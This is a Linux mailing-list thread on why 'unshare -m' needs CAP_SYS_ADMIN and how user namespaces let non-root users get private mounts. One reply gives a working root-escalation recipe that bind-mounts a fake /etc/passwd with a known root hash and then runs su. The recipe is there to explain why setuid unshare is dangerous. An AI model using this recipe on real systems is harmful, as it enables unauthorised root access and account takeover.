unshare -m for non-root user
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:
$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshare
Funny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
OS: Debian 8
# dpkg -l | grep -i util-linux
ii util-linux 2.25.2-6
amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
Signature · 1 line
Thx
Karel Zak
maintainerQuoted 13 lines · U.Mutlu
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNS
This flag has the same effect as the clone(2) CLONE_NEWNS flag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically implies CLONE_FS as well. Use of CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
^^^^^^^^^^^^
.. so yes, it's expected behavior.
Karel
Signature · 2 lines
Karel Zak <[email protected]> http://karelzak.blogspot.com
Karel Zak wrote on 10/30/2015 11:22 AM:
Quoted 31 lines · U.Mutlu
Quoted 13 lines
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNSThis flag has the same effect as the clone(2)
CLONE_NEWNSflag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically impliesCLONE_FSas well. Use ofCLONE_NEWNSrequires theCAP_SYS_ADMINcapability.
Quoted 5 lines
^^^^^^^^^^^^.. so yes, it's expected behavior.
Karel
I would say that the bug lies in the wrong file permissions. chmod u+s fixes the bug, and I suggest that this should be the default. Then non-root users can use it too.
Quoted 34 lines · U.Mutlu
Karel Zak wrote on 10/30/2015 11:22 AM:
Quoted 33 lines · U.Mutlu
Quoted 13 lines
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNSThis flag has the same effect as the clone(2)
CLONE_NEWNSflag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically impliesCLONE_FSas well. Use ofCLONE_NEWNSrequires theCAP_SYS_ADMINcapability.^^^^^^^^^^^^
Quoted 7 lines
Quoted 3 lines
.. so yes, it's expected behavior.
Karel
I would say that the bug lies in the wrong file permissions. chmod u+s fixes the bug, and I suggest that this should be the default. Then non-root users can use it too.
There is no bug. There are real dangers in creating a new mount namespace as you can fool suid root applications like passwd.
You can safely use new mount namespaces after creating a new user namespace, and that does not require any special permissions on unshare.
Eric
Eric W. Biederman wrote on 11/14/2015 04:53 AM:
Quoted 38 lines
Quoted 36 lines · U.Mutlu
Karel Zak wrote on 10/30/2015 11:22 AM:
Quoted 35 lines · U.Mutlu
Quoted 13 lines
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNSThis flag has the same effect as the clone(2)
CLONE_NEWNSflag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically impliesCLONE_FSas well. Use ofCLONE_NEWNSrequires theCAP_SYS_ADMINcapability.^^^^^^^^^^^^.. so yes, it's expected behavior.
Quoted 8 lines
Quoted 5 lines
Quoted 1 line
Karel
I would say that the bug lies in the wrong file permissions. chmod u+s fixes the bug, and I suggest that this should be the default. Then non-root users can use it too.
There is no bug. There are real dangers in creating a new mount namespace as you can fool suid root applications like passwd.
Any links to further info on that?
Quoted 2 lines
You can safely use new mount namespaces after creating a new user namespace, and that does not require any special permissions on unshare.
Is that creating a new user namespace and therein being root and then using unshare? If yes, then this is not what I need. I need unshare for a non-root user.
Quoted 41 lines · U.Mutlu
Eric W. Biederman wrote on 11/14/2015 04:53 AM:
Quoted 40 lines
Quoted 38 lines · U.Mutlu
Karel Zak wrote on 10/30/2015 11:22 AM:
Quoted 36 lines · U.Mutlu
Quoted 13 lines
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNSThis flag has the same effect as the clone(2)
CLONE_NEWNSflag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically impliesCLONE_FSas well. Use ofCLONE_NEWNSrequires theCAP_SYS_ADMINcapability.^^^^^^^^^^^^.. so yes, it's expected behavior.
Karel
Quoted 8 lines
Quoted 6 lines
Quoted 3 lines
I would say that the bug lies in the wrong file permissions. chmod u+s fixes the bug, and I suggest that this should be the default. Then non-root users can use it too.
There is no bug. There are real dangers in creating a new mount namespace as you can fool suid root applications like passwd.
Any links to further info on that?
To get a root shell, if you can run 'mount':
Create a new file 'fakepasswd' containing this line (remove any newlines
and spaces):
root:$6$cKRXgPQf2npI1kN5$OaKLtkxZuEHgblQAV8s8ynmGfwV6w1GvdKPXVU1ZOVRk/dy4DO5pYv6CeBj4/Lr2KExSkXribZ4rerTVACQgi/:0:0:root:/root:/bin/ash
Overmount /etc/passwd with that file:
mount -o bind fakepasswd /etc/passwd
Run 'su'.
Press enter.
And you're root.
Then you can unmount /etc/passwd and change all passwords so you have permanent root.
There are methods that you could use to make that particular example fail, but there are too many ways to do that sort of trick...
HTH,
Isaac Dunham
Isaac Dunham wrote on 11/14/2015 07:17 PM:
Quoted 67 lines · U.Mutlu
Quoted 41 lines
Eric W. Biederman wrote on 11/14/2015 04:53 AM:
Quoted 40 lines
Quoted 38 lines · U.Mutlu
Karel Zak wrote on 10/30/2015 11:22 AM:
Quoted 36 lines · U.Mutlu
Quoted 13 lines
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNSThis flag has the same effect as the clone(2)
CLONE_NEWNSflag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically impliesCLONE_FSas well. Use ofCLONE_NEWNSrequires theCAP_SYS_ADMINcapability.^^^^^^^^^^^^.. so yes, it's expected behavior.
Karel
Quoted 8 lines
Quoted 6 lines
Quoted 3 lines
I would say that the bug lies in the wrong file permissions. chmod u+s fixes the bug, and I suggest that this should be the default. Then non-root users can use it too.
There is no bug. There are real dangers in creating a new mount namespace as you can fool suid root applications like passwd.
Any links to further info on that?
To get a root shell, if you can run 'mount':
Create a new file 'fakepasswd' containing this line (remove any newlines
and spaces):
root:$6$cKRXgPQf2npI1kN5$OaKLtkxZuEHgblQAV8s8ynmGfwV6w1GvdKPXVU1ZOVRk/dy4DO5pYv6CeBj4/Lr2KExSkXribZ4rerTVACQgi/:0:0:root:/root:/bin/ashOvermount
/etc/passwdwith that file:
mount -o bind fakepasswd/etc/passwdRun 'su'.
Press enter.And you're root.
Then you can unmount/etc/passwdand change all passwords so you have permanent root.
Quoted 5 lines
There are methods that you could use to make that particular example fail, but there are too many ways to do that sort of trick...
HTH,
Isaac Dunham
On my uptodate Debian 8 box I get this:
$ mount -o bind fakepasswd /etc/passwd mount: only root can use "--options" option
U.Mutlu wrote on 11/14/2015 10:07 PM:
Quoted 72 lines
Isaac Dunham wrote on 11/14/2015 07:17 PM:
Quoted 71 lines · U.Mutlu
Quoted 41 lines
Eric W. Biederman wrote on 11/14/2015 04:53 AM:
Quoted 40 lines
Quoted 38 lines · U.Mutlu
Karel Zak wrote on 10/30/2015 11:22 AM:
Quoted 36 lines · U.Mutlu
Quoted 13 lines
Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:$ unshare -m /bin/bash unshare: unshare failed: Operation not permitted $ echo $? 1 $ ls -l `which unshare` -rwxr-xr-x 1 root root 14640 Mar 30 2015 /usr/bin/unshareFunny thing: when making the binary setuid then it works. But I would prefer a working original version in the OS repository.
Quoted 7 lines
OS: Debian 8
# dpkg -l | grep -i util-linux ii util-linux 2.25.2-6 amd64 Miscellaneous system utilitiesIs this a bug, or is it not supposed to work for non-root users?
man 2 unshare:
CLONE_NEWNSThis flag has the same effect as the clone(2)
CLONE_NEWNSflag. Unshare the mount namespace, so that the calling process has a private copy of its namespace which is not shared with any other process. Specifying this flag automatically impliesCLONE_FSas well. Use ofCLONE_NEWNSrequires theCAP_SYS_ADMINcapability.^^^^^^^^^^^^.. so yes, it's expected behavior.
Karel
Quoted 8 lines
Quoted 6 lines
Quoted 3 lines
I would say that the bug lies in the wrong file permissions. chmod u+s fixes the bug, and I suggest that this should be the default. Then non-root users can use it too.
There is no bug. There are real dangers in creating a new mount namespace as you can fool suid root applications like passwd.
Any links to further info on that?
To get a root shell, if you can run 'mount':
Create a new file 'fakepasswd' containing this line (remove any newlines
and spaces):
root:$6$cKRXgPQf2npI1kN5$OaKLtkxZuEHgblQAV8s8ynmGfwV6w1GvdKPXVU1ZOVRk/dy4DO5pYv6CeBj4/Lr2KExSkXribZ4rerTVACQgi/:0:0:root:/root:/bin/ashOvermount
/etc/passwdwith that file:
mount -o bind fakepasswd/etc/passwdRun 'su'.
Press enter.And you're root.
Then you can unmount/etc/passwdand change all passwords so you have permanent root.There are methods that you could use to make that particular example fail, but there are too many ways to do that sort of trick...
Quoted 6 lines
Quoted 2 lines
HTH,
Isaac DunhamOn my uptodate Debian 8 box I get this:
$ mount -o bind fakepasswd /etc/passwd mount: only root can use "--options" option
Ok, after playing some more with this, I can confirm that this attack unfortunately indeed works!
So, then the question remains: how to give non-root user a secure mount and unmount where he can mount only his own stuff without touching the other mounts nor allowing such attacks like above?
Do we need a seperate stripped down mount program for non-root users, or are namespaces the answer? I don't know where to begin, any help welcome.
Quoted 1 line · U.Mutlu
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports. -mike
Mike Frysinger wrote on 11/15/2015 02:24 AM:
Quoted 5 lines · U.Mutlu
Quoted 1 line
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.
It's not yet clear for me how to use that. Can you give an example? unshare -U /bin/bash
?
Quoted 9 lines · U.Mutlu
Mike Frysinger wrote on 11/15/2015 02:24 AM:
Quoted 5 lines · U.Mutlu
Quoted 1 line
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.It's not yet clear for me how to use that. Can you give an example? unshare -U
/bin/bash
the unshare(1) man page already includes an example:
$ unshare --map-root-user --user sh -c whoami root -mike
Mike Frysinger wrote on 11/15/2015 07:28 AM:
Quoted 8 lines · U.Mutlu
Quoted 7 lines
Mike Frysinger wrote on 11/15/2015 02:24 AM:
Quoted 5 lines · U.Mutlu
Quoted 1 line
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.
Quoted 6 lines
Quoted 2 lines
It's not yet clear for me how to use that. Can you give an example? unshare -U
/bin/bashthe unshare(1) man page already includes an example:
$ unshare --map-root-user --user sh -c whoami root
No, firstly there is no such example in man unshare, secondly it doesn't do here:
$ unshare --map-root-user --user sh -c whoami unshare: unshare failed: Operation not permitted
Is there maybe a bug in the Debian version?
$ unshare --version unshare from util-linux 2.25.2
And thirdly: is that not even more dangerous to give a user root permission then? I don't understand this philosophy. Or, where is the trick in this?
Quoted 16 lines · U.Mutlu
Mike Frysinger wrote on 11/15/2015 07:28 AM:
Quoted 8 lines · U.Mutlu
Quoted 7 lines
Mike Frysinger wrote on 11/15/2015 02:24 AM:
Quoted 5 lines · U.Mutlu
Quoted 1 line
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.Quoted 6 lines
Quoted 2 lines
It's not yet clear for me how to use that. Can you give an example? unshare -U
/bin/bashthe unshare(1) man page already includes an example:
$ unshare --map-root-user --user sh -c whoami root
Quoted 5 lines
No, firstly there is no such example in man unshare, secondly it doesn't do here:
$ unshare --map-root-user --user sh -c whoami unshare: unshare failed: Operation not permittedIs there maybe a bug in the Debian version?
complain to Debian. iirc, they break their kernels on purpose by adding non-standard caps which disallow userns usage.
Quoted 2 lines
And thirdly: is that not even more dangerous to give a user root permission then? I don't understand this philosophy. Or, where is the trick in this?
you aren't actually root. you'll probably want to read:
https://lwn.net/Articles/532593/ man user_namespaces
-mike
Mike Frysinger wrote on 11/15/2015 01:42 PM:
Quoted 17 lines · U.Mutlu
Quoted 16 lines
Mike Frysinger wrote on 11/15/2015 07:28 AM:
Quoted 14 lines · U.Mutlu
Quoted 9 lines
Mike Frysinger wrote on 11/15/2015 02:24 AM:
Quoted 5 lines · U.Mutlu
Quoted 1 line
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.It's not yet clear for me how to use that. Can you give an example? unshare -U
/bin/bashthe unshare(1) man page already includes an example:
$ unshare --map-root-user --user sh -c whoami root
Quoted 8 lines
Quoted 5 lines
No, firstly there is no such example in man unshare, secondly it doesn't do here:
$ unshare --map-root-user --user sh -c whoami unshare: unshare failed: Operation not permittedIs there maybe a bug in the Debian version?
complain to Debian. iirc, they break their kernels on purpose by adding non-standard caps which disallow userns usage.
Ok, I found out that on Debian one needs to make the follwing entry in /etc/sysctl.conf:
kernel.unprivileged_userns_clone = 1
and reboot, or do sysctl -p /etc/sysctl.conf, or equivalently
echo 1 > /proc/sys/kernel/unprivileged_userns_clone
Now the above unshare command does work.
Quoted 6 lines
Quoted 2 lines
And thirdly: is that not even more dangerous to give a user root permission then? I don't understand this philosophy. Or, where is the trick in this?
you aren't actually root. you'll probably want to read:
https://lwn.net/Articles/532593/ man user_namespaces
Yes, I knew them, but hadn't read throughly :-)
Quoted 27 lines · U.Mutlu
Mike Frysinger wrote on 11/15/2015 01:42 PM:
Quoted 17 lines · U.Mutlu
Quoted 16 lines
Mike Frysinger wrote on 11/15/2015 07:28 AM:
Quoted 14 lines · U.Mutlu
Quoted 9 lines
Mike Frysinger wrote on 11/15/2015 02:24 AM:
Quoted 5 lines · U.Mutlu
Quoted 1 line
So, then the question remains: how to give non-root user a secure mount
no, it doesn't. at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.It's not yet clear for me how to use that. Can you give an example? unshare -U
/bin/bashthe unshare(1) man page already includes an example:
$ unshare --map-root-user --user sh -c whoami rootQuoted 8 lines
Quoted 5 lines
No, firstly there is no such example in man unshare, secondly it doesn't do here:
$ unshare --map-root-user --user sh -c whoami unshare: unshare failed: Operation not permittedIs there maybe a bug in the Debian version?
complain to Debian. iirc, they break their kernels on purpose by adding non-standard caps which disallow userns usage.
Quoted 7 lines
Ok, I found out that on Debian one needs to make the follwing entry in
/etc/sysctl.conf:
kernel.unprivileged_userns_clone = 1
and reboot, or do sysctl -p/etc/sysctl.conf, or equivalently echo 1 >/proc/sys/kernel/unprivileged_userns_cloneNow the above unshare command does work.
ah, thanks for the tip !
-mike
Quoted 8 lines
Quoted 2 lines
complain to Debian. iirc, they break their kernels on purpose by adding non-standard caps which disallow userns usage.
Ok, I found out that on Debian one needs to make the follwing entry in
/etc/sysctl.conf:
kernel.unprivileged_userns_clone = 1
and reboot, or do sysctl -p/etc/sysctl.conf, or equivalently echo 1 >/proc/sys/kernel/unprivileged_userns_clone
The kernel will neded to be compiled with CONFIG_USER_NS
Ángel González wrote on 11/15/2015 09:25 PM:
Quoted 10 lines
Quoted 8 lines
Quoted 2 lines
complain to Debian. iirc, they break their kernels on purpose by adding non-standard caps which disallow userns usage.
Ok, I found out that on Debian one needs to make the follwing entry in
/etc/sysctl.conf:
kernel.unprivileged_userns_clone = 1
and reboot, or do sysctl -p/etc/sysctl.conf, or equivalently echo 1 >/proc/sys/kernel/unprivileged_userns_cloneThe kernel will neded to be compiled with
CONFIG_USER_NS
True, but the stock Debian 8 kernel has it already enabled, as the following tool (belongs to lxc) reports:
#######
$ lxc-checkconfig Kernel configuration not found at /proc/config.gz; searching... Kernel configuration found at /boot/config-3.16.0-4-amd64 --- Namespaces --- Namespaces: enabled Utsname namespace: enabled Ipc namespace: enabled Pid namespace: enabled User namespace: enabled Network namespace: enabled Multiple /dev/pts instances: enabled
--- Control groups ---
Cgroup: enabled
Cgroup clone_children flag: enabled
Cgroup device: enabled
Cgroup sched: enabled
Cgroup cpu account: enabled
Cgroup memory controller: enabled
Cgroup cpuset: enabled
--- Misc ---
Veth pair device: enabled
Macvlan: enabled
Vlan: enabled
File capabilities: enabled
Note : Before booting a new kernel, you can check its configuration usage : CONFIG=/path/to/config /usr/bin/lxc-checkconfig
#######
Another method to see it is this one:
$ grep CONFIG_USER_NS /boot/config-`uname -r` CONFIG_USER_NS=y
Quoted 1 line · U.Mutlu
I wonder why "unshare -m" doesn't work for an unpriviledged user:
look into the -U flag if you want to use these features as non-root -mike